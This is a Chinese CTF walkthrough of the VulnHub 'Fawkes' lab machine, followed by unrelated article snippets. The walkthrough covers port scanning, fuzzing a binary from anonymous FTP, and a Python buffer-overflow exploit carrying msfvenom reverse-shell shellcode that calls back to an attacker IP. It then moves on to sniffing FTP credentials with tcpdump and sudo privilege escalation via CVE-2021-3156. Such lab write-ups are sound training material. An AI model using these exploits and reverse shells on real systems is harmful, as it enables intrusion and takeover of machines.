打靶记录12——Fawkes

靶机:

https://download.vulnhub.com/harrypotter/Fawkes.ova

这是个哈利波特系列的靶机,作者和本人都非常喜欢这个系列,因为它的漏洞和利用点都设计得很巧妙。

难度:

目标:

  • 取得2个root权限 + 3 个flag

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • FTP服务攻击
  • 缓冲区溢出
  • 模糊测试
  • 漏洞利用代码编写
  • 流量抓包分析
  • 堆溢出漏洞攻击
  • Metasploit(MSF)
  • 手动修复EXP代码
  • 本地提权

参考资料

  • CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog
  • https://github.com/worawit/CVE-2021-3156

主机发现

sudo arp-scan -l
image.png

端口扫描和服务发现

sudo nmap -p- 192.168.0.103
image.png
sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103

┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p21,22,80,2222,9898 -sV -sC 192.168.0.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 16:14 CST
Nmap scan report for 192.168.0.103
Host is up (0.0011s latency).

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0          705996 Apr 12  2021 server_hogwarts
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.0.102
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)
|   256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)
|_  256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)
80/tcp   open  http       Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
2222/tcp open  ssh        OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey:
|   3072 c4:1d:d5:66:85:24:57:4a:86:4e:d9:b6:00:69:78:8d (RSA)
|   256 0b:31:e7:67:26:c6:4d:12:bf:2a:85:31:bf:21:31:1d (ECDSA)
|_  256 9b:f4:bd:71:fa:16:de:d5:89:ac:69:8d:1e:93:e5:8a (ED25519)
9898/tcp open  monkeycom?
| fingerprint-strings:
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest:
|     Welcome to Hogwart's magic portal
|     Tell your spell and ELDER WAND will perform the magic
|     Here is list of some common spells:
|     Wingardium Leviosa
|     Lumos
|     Expelliarmus
|     Alohomora
|     Avada Kedavra
|     Enter your spell: Magic Output: Oops!! you have given the wrong spell
|     Enter your spell:
|   NULL:
|     Welcome to Hogwart's magic portal
|     Tell your spell and ELDER WAND will perform the magic
|     Here is list of some common spells:
|     Wingardium Leviosa
|     Lumos
|     Expelliarmus
|     Alohomora
|     Avada Kedavra
|_    Enter your spell:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9898-TCP:V=7.94SVN%I=7%D=8/17%Time=66C05BD6%P=x86_64-pc-linux-gnu%r
SF:(NULL,DE,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x
SF:20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nH
SF:ere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium
SF:\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x
SF:20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20")%r(GenericLines,
SF:125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spe
SF:ll\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x
SF:20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20L
SF:eviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Ava
SF:da\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oop
SF:s!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x
SF:20spell:\x20")%r(GetRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x2
SF:0portal\nTell\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perfo
SF:rm\x20the\x20magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spe
SF:lls:\n1\.\x20Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n
SF:4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell
SF::\x20Magic\x20Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong
SF:\x20spell\n\nEnter\x20your\x20spell:\x20")%r(HTTPOptions,125,"Welcome\x
SF:20to\x20Hogwart's\x20magic\x20portal\nTell\x20your\x20spell\x20and\x20E
SF:LDER\x20WAND\x20will\x20perform\x20the\x20magic\n\nHere\x20is\x20list\x
SF:20of\x20some\x20common\x20spells:\n1\.\x20Wingardium\x20Leviosa\n2\.\x2
SF:0Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohomora\n5\.\x20Avada\x20Kedavra\
SF:x20\n\nEnter\x20your\x20spell:\x20Magic\x20Output:\x20Oops!!\x20you\x20
SF:have\x20given\x20the\x20wrong\x20spell\n\nEnter\x20your\x20spell:\x20")
SF:%r(RTSPRequest,125,"Welcome\x20to\x20Hogwart's\x20magic\x20portal\nTell
SF:\x20your\x20spell\x20and\x20ELDER\x20WAND\x20will\x20perform\x20the\x20
SF:magic\n\nHere\x20is\x20list\x20of\x20some\x20common\x20spells:\n1\.\x20
SF:Wingardium\x20Leviosa\n2\.\x20Lumos\n3\.\x20Expelliarmus\n4\.\x20Alohom
SF:ora\n5\.\x20Avada\x20Kedavra\x20\n\nEnter\x20your\x20spell:\x20Magic\x2
SF:0Output:\x20Oops!!\x20you\x20have\x20given\x20the\x20wrong\x20spell\n\n
SF:Enter\x20your\x20spell:\x20");
MAC Address: 08:00:27:80:17:B1 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.01 seconds

发现21端口开着vsftp服务,版本是vsftp 3.0.3,漏洞库搜索一下
searchsploit vsftp 3.0.3发现一个远程拒绝服务攻击脚本,就是我们可以把它打死,但是不能利用它去控制目标系统,那对我们没有什么帮助
image.png
发现它的FTP服务可以匿名登录,并且存在一个文件叫server_hogwarts,霍格沃兹就是哈利波特学习魔法的学校hogwart
image.png
并且发现奇怪的是服务器开启了两个SSH服务,版本不一样,端口也不一样,待会再看看怎么个事
image.png
9898端口开启的服务nmap不认识,就随便给了个名字,后面显示的内容是欢迎来到霍格沃兹,选择自己喜欢的魔法吧!
image.png

  • Wingardium Leviosa(漂浮升空)悬浮咒,可以让物体飞起来
  • Lumos(荧光闪耀)
  • Expelliarmus(除你武器)
  • Alohomora(开锁咒)
  • Avada Kedavra(索命咒)阿瓦达啃大瓜

sudo dirsearch -u http://192.168.0.103扫描目录没有什么发现
image.png
那么我们匿名登录一下FTP服务器
ftp 192.168.1.103账号为:anonymous,密码为空
登录之后把server_hogwartsget下来慢慢看,然后想cd到其他的目录却失败了
image.png
file server_hogwarts发现他是一个可执行程序,给它赋予执行权限然后执行看看有什么效果
image.png
ps -aux | grep server看到运行了进程
ss -pantu | grep server看到在本机开启了监听端口
image.png
nc 127.0.0.1 9898NC上去看看运行效果,就是一些个咒语实现的效果
image.png
那这个靶机的意图也就非常明显了,肯定是这个程序本身,它存在某种漏洞,但是由于它是一个二进制的可执行程序,所以我们没办法查看它的源码,从源码审计,那就只能做动态调试,做FUZZ模糊测试

进行测试之前,还得先关掉kali本机的alsr功能,alsr是一种内存地址随机化的安全技术, 不关掉的话会导致我们自己挖漏洞的时候挖不出来,每次内存地址都会变
我们需要把2改成0,这样就会关闭它
image.png
sudo apt install edb-debugger安装一个有图形化界面的友好一点的调试工具
点击Attach
image.png
搜索server
image.png
然后点击run
image.png
这样就通过调试器连接上了服务端程序
接下来就需要对程序发起一些注入的探测请求
向唯一的数据提交点提交500个大写字母A
python -c "print('A'*500)"
image.png
image.png
然后调试器直接报错,说EIP的内存地址被覆盖了,那就99%确定这个地方存在缓冲器溢出漏洞
image.png
image.png
msf-pattern_create -l 500生成500个内容不重复的字节序列
image.png
在提交数据之前重启一下server_hogwarts服务和edb工具,否则可能影响我们对漏洞挖掘结果的判断
image.png
用小工具msf-pattern_offset -l 500 -q 64413764查看EIP寄存器当中注入的字符在这500个字符中的哪个位置里面
image.png
编写一个EXP进行测试

#!/usr/bin/python
import sys,socket
payload = 'A'*112 + 'B'*4 + 'C'*32
try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
  print("Wrong!")
  sys.exit()

在运行脚本提交数据之前重启一下server_hogwarts服务和edb工具,保证我们测试时,运行环境是一个干净的环境
运行代码:
报错弹窗提示,如果想进一步查看他的情况请按F7,F8,F9来查看。其实你可以再次点击▶️让程序在报错的前提下继续运行,因为这个弹窗只是提示你server_hogwarts出现了故障但是并不代表其不能继续运行。
参考博客:https://www.cnblogs.com/cchl/articles/vulnhub_fawkes.html#%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95
image.png

反弹shell

用插件OpcodeSearcher找到跳到ESP的指令
image.png
image.png
image.png
jmp esp,跳到ESP的内存地址是0x08049d55,放到exp中的4个B的位置那里

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.102 LPORT=4444 -b "\x00" -f py

生成一串反弹shell的代码

  • -b 参数去掉坏字符“\x00”,因为程序运行到这个字符的话就会以为结束了,从而停止运行
  • -f 参数生成python格式的代码

image.png

#!/usr/bin/python
import sys,socket

buf =  b""
buf += b"\xdb\xda\xba\x40\xb5\xb0\xf2\xd9\x74\x24\xf4\x5b"
buf += b"\x31\xc9\xb1\x12\x31\x53\x17\x03\x53\x17\x83\xab"
buf += b"\x49\x52\x07\x1a\x69\x64\x0b\x0f\xce\xd8\xa6\xad"
buf += b"\x59\x3f\x86\xd7\x94\x40\x74\x4e\x97\x7e\xb6\xf0"
buf += b"\x9e\xf9\xb1\x98\xe0\x52\x41\x3e\x89\xa0\x42\xaf"
buf += b"\x15\x2c\xa3\x7f\xc3\x7e\x75\x2c\xbf\x7c\xfc\x33"
buf += b"\x72\x02\xac\xdb\xe3\x2c\x22\x73\x94\x1d\xeb\xe1"
buf += b"\x0d\xeb\x10\xb7\x9e\x62\x37\x87\x2a\xb8\x38"

payload = b'A'*112 + b'\x55\x9d\x04\x08' + b'\x90'*32  + buf
"""
这里需要注意三点:
	1,EIP的注入位置的JUMP ESP的地址需要进行字节的颠倒,因为靶机为小端。这个细节非常非常重要,只要是缓冲区溢出漏洞都需要注意这一点
	2,'\x90'的添加,为了防止恶意代码举例ESP起始位置太近导致的执行异常,一般添加该字节来让CPU划过该命令
	3,都要用b''二进制来显示
"""


try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',9898))
    s.send((payload))
    s.close()
except:
  print("Wrong!")
  sys.exit()

重启运行服务,nc开启监听,执行脚本即可反弹shell成功
image.png
image.png
image.png
这是得到的本机kalishell,所以我们需要修改代码中的IP地址,来对靶机发起攻击
image.png
image.png
再次运行脚本获得shell
image.png
image.png
按照惯例升级一下shell,但是没有python,也没有bash,那就只能用/bin/sh -i
image.png
在当前目录下发现一个密码HarrYp0tter@Hogwarts123,想起前面信息收集的时候有两个ssh服务开启着
image.png
ssh harry@192.168.0.103 -p 2222,登录上去发现还是harry,还有IP地址是172.17.0.2,和靶机IP地址192.168.0.103不一样
image.png
ls / -la查看根目录的文件,发现.dockerenv,很明显是一个docker容器
image.png

信息收集:

image.png
发现flag文件horcrux1.txt魂器 (Horcrux)是黑巫师为了使自己长生不死而制造出来的用于储藏灵魂碎片的物品
查看一下这两个文件,第一个说哈利波特被伏地魔摧毁了,note.txt文件显示有人在一直尝试登录FTP服务器但是没成功,我们可以通过流量抓包工具来进行分析它
image.png
由于靶机只是一个命令行界面,所以我们用不了wireShark,只能用最原始的tcpdump这个命令
tcpdump -i eth0 port 21只对21端口进行抓包,等待大概一分钟左右的时间才有流量产生
image.png
发现用户名和密码:neville``bL!Bsg3k,尝试SSH登录,发现是真实的靶机(由于我网络出了点问题,所以靶机IP从103变成104了)
image.png
内核版本和sudo版本都与CVE-2021-3156中的一致
image.png
可以用以下这段代码验证漏洞是否存在sudoedit -s '\'perl -e ‘print “A” x 65536’``,输入命令有报错,说明漏洞存在
image.png
利用exp脚本进行提权,具体是Github仓库中的exploit_nss.py这个文件
image.png
靶机上的sudo位置在/usr/local/bin/sudo
image.png
修改exploit_nss.py代码中的sudo位置
image.png
将脚本通过nc发送到靶机上
靶机nc -lvnp 4444 > exp.py,将nc接收到的信息保存为exp.py文件
本机nc 192.168.0.104 4444 < exploit_nss.py -w 1将文件传输过去,-w 1参数意思是当文件传输结束后隔一秒钟就断开连接
image.png
image.png
然后在靶机输入python3 exp.py就获得了root权限
image.png
获取最后的两个flag
image.png
纳吉尼(伏地魔身边的那条蛇)被纳威 隆巴顿(剑圣)给摧毁了
image.png
image.png
伏地魔被哈利波特打败了!

打靶完毕!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/871398.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux中的exec族函数

exec 系列函数用于替换当前进程的用户空间代码和数据&#xff0c;从而执行一个新的程序。调用 exec 系列函数不会创建新的进程&#xff0c;但会用新程序的代码和数据替换当前进程&#xff0c;因此调用 exec 后&#xff0c;进程的 ID 保持不变&#xff0c;但进程的行为变为执行新…

前端基础4

本节内容&#xff1a; 1.CSS的弹性布局&#xff0c;也称Flex布局 2.Vue2的生命周期 一、Flex布局 弹性布局是前端页面布局最常用的方式之一&#xff0c;通常使用四个属性。 1.创建盒子 先创建一个盒子并为其添加一些样式可以更直观的体验弹性布局&#xff0c;代码如下&#…

keepalived保活nginx1,nginx2

1 下载两个小玩意 yum -y install keepalived yum install psmisc -y 2 配置nginx1&#xff0c;2自启脚本 vim /root/shell/check-nginx.sh 我的脚本放在root/shell里 #!/bin/bash #获取nginx正在运行的进程数 npsnumps -C nginx --no-header | wc -lif [ $n…

企业级WEB应用服务器TOMCAT攻略

目录 一 WEB技术 1.1 HTTP协议和B/S 结构 二 WEB框架 2.1 web资源和访问 2.2 后台应用架构 三 tomcat的功能介绍 3.1 安装 Tomcat 3.2 tomcat的文件结构和组成 3.3 生成tomcat的启动文件 四 结合反向代理实现tomcat部署 4.1 常见部署方式介绍 4.2 利用 nginx 反向代…

第2章-01-网站中的资源介绍

🏆作者简介,黑夜开发者,CSDN领军人物,全栈领域优质创作者✌,CSDN博客专家,阿里云社区专家博主,2023年CSDN全站百大博主。 🏆数年电商行业从业经验,历任核心研发工程师,项目技术负责人。 🏆本文已收录于专栏:Web爬虫入门与实战精讲,后续完整更新内容如下。 文章…

性能测试-性能监控分析与调优(三)《实战-CPU瓶颈分析、内存问题分析、gc、tomcat性能调优,数据库监控-redis\mysql》

性能监控 使用命令监控 cpu瓶颈分析 top命令 在进行性能测试时使用top命令&#xff0c;界面如下 上图可以看出 - CPU 概况区&#xff1a; %Cpu(s): - us&#xff08;用户进程占用CPU的百分比&#xff09;, 和 sy&#xff08;系统进程占用CPU的百分比&#xff09; 的数…

热门奥运冠军代言费用贵,中小微企业怎么找冠军代言?

巴黎奥运会的热潮未退&#xff0c;这个月运动员代言的比例显著上升&#xff0c;比如游泳冠军潘展乐拿下携程等5个代言&#xff0c;孙颖莎手握可口可乐等7个代言。越来越多的企业和品牌通过冠军代言的形式来提升自身的品牌形象和市场竞争力。运动员代表着健康、拼搏和胜利&#…

thinkphp5漏洞分析之文件包含

目录 一、环境 二、开始研究 三、漏洞分析 四、漏洞修复 五、攻击总结 一、环境 thinkphp官网下载 创建 application/index/view/index/index.html 文件&#xff0c;内容随意&#xff08;没有这个模板文件的话&#xff0c;在渲染时程序会报错&#xff09; 二、开始研究 创…

【机器人学】7-2.六自由度机器人自干涉检测-计算圆柱体的上下圆心坐标【附MATLAB代码】

目录 前言 机械臂几何参数 机器等效圆柱体坐标确定 MATLAB代码 前言 上一章介绍了机器人自干涉检测的总体算法&#xff0c;提出了算法的三个核心&#xff1a; 一 根据机械臂的几何数据以及DH参数&#xff0c;确定机械臂等效的圆柱体的上下圆心坐标。 二 将一个圆柱体旋转到…

《少年白马醉春风》圆满收官 白澍“琅琊王”萧若风热度飙升

由陈宙飞执导&#xff0c;周木楠编剧&#xff0c;侯明昊、何与、胡连馨领衔主演&#xff0c;夏之光、姜贞羽特别出演&#xff0c;完颜洛绒、白澍等主演的古装武侠剧《少年白马醉春风》于昨日收官&#xff0c;大结局播出后&#xff0c;粉丝们直呼没看够&#xff01;对于剧中角色…

Qt Creator安装配置指南

1.官网下载在线安装包 官网地址&#xff1a; https://www.qt.io/download-dev#eval-form-modal 2.双击在线安装包按引导流程安装qt 3.选择自己要配置的qt环境版本 3.1如果要选中低版本的qt环境我这里安装的是qt5.15.2的(其他低版本也一样的)&#xff0c;要勾选上Archive(存…

vulnhub靶场 — NARAK

下载地址:https://download.vulnhub.com/ha/narak.ova Description:Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every cor…

AI安全-文生图

1 需求 2 接口 3 示例 大模型图像安全风险探析 - 先知社区 前言 文生图模型是一种新兴的人工智能技术,它通过对大规模文本数据的学习,能够生成逼真的图像。这种模型包含两个主要组件:一个文本编码器和一个图像生成器。 文本编码器接收文本输入,并将其转换为一种数字化的表示…

JimuReport 积木报表 v1.8.0 版本发布,开源可视化报表

项目介绍 一款免费的数据可视化报表工具&#xff0c;含报表和大屏设计&#xff0c;像搭建积木一样在线设计报表&#xff01;功能涵盖&#xff0c;数据报表、打印设计、图表报表、大屏设计等&#xff01; Web 版报表设计器&#xff0c;类似于excel操作风格&#xff0c;通过拖拽完…

tomcat利用 nginx 反向代理

利用 nginx 反向代理功能&#xff0c;实现图中的代理功能&#xff0c;将用户请求全部转发至指定的同一个 tomcat 主机 利用 nginx 指令 proxy_pass 可以向后端服务器转发请求报文 , 并且在转发时会保留客户端的请求报文中的 host首部 实现 tomcat 中的负载均衡 动态服务器的…

qt-18 程序启动画面

程序启动画面 screen.hscreen.cppmain.cpp运行图启动图片启动后程序 screen.h #ifndef SCREEN_H #define SCREEN_H#include <QMainWindow>class Screen : public QMainWindow {Q_OBJECTpublic:Screen(QWidget *parent nullptr);~Screen(); }; #endif // SCREEN_Hscreen…

代码随想录算法训练营day48:单调栈

目录 739. 每日温度 503.下一个更大元素II 分析&#xff1a; 42. 接雨水 本质&#xff1a; 暴力解法 分析&#xff1a; 双指针优化 单调栈 84.柱状图中最大的矩形 分析&#xff1a; 双指针&#xff1a; 单调栈 739. 每日温度 力扣题目链接(opens new window) 请根…

为什么越来越多的IT青年转行网络安全?

目前&#xff0c;我国互联网已经从爆发增长期进入平稳发展阶段&#xff0c;同时每年大量计算机相关专业的毕业生涌入就业市场&#xff0c;导致IT行业逐渐趋于饱和状态&#xff0c;甚至出现裁员现象&#xff0c;去年很多大厂都有裁员&#xff0c;不少程序员再就业成了难题。 面…

Cache地址相联映像

直接相联映像&#xff1a;硬件电路直接连接 全相联映像; 电路难于设计和实现&#xff0c;只适用于小容量Cache&#xff0c;冲突率低 组相联映像&#xff1a;直接相联与全相联的折中。 冲突率 &#xff08;高&#xff0c;中&#xff0c;低&#xff09; 电路复杂度 其他 直接…

VSCode配置ssh免密连接远程服务器

我配置了免密设置(Windows利用ssh免密码登录Linux)&#xff0c;git bash已经能够正常连接了&#xff0c;但是vscode还是不行&#xff0c;很奇怪。 VSCode报错信息&#xff1a; [17:55:50.360] SSH Resolver called for "ssh-remote106.52.2.19", attempt 5, (Recon…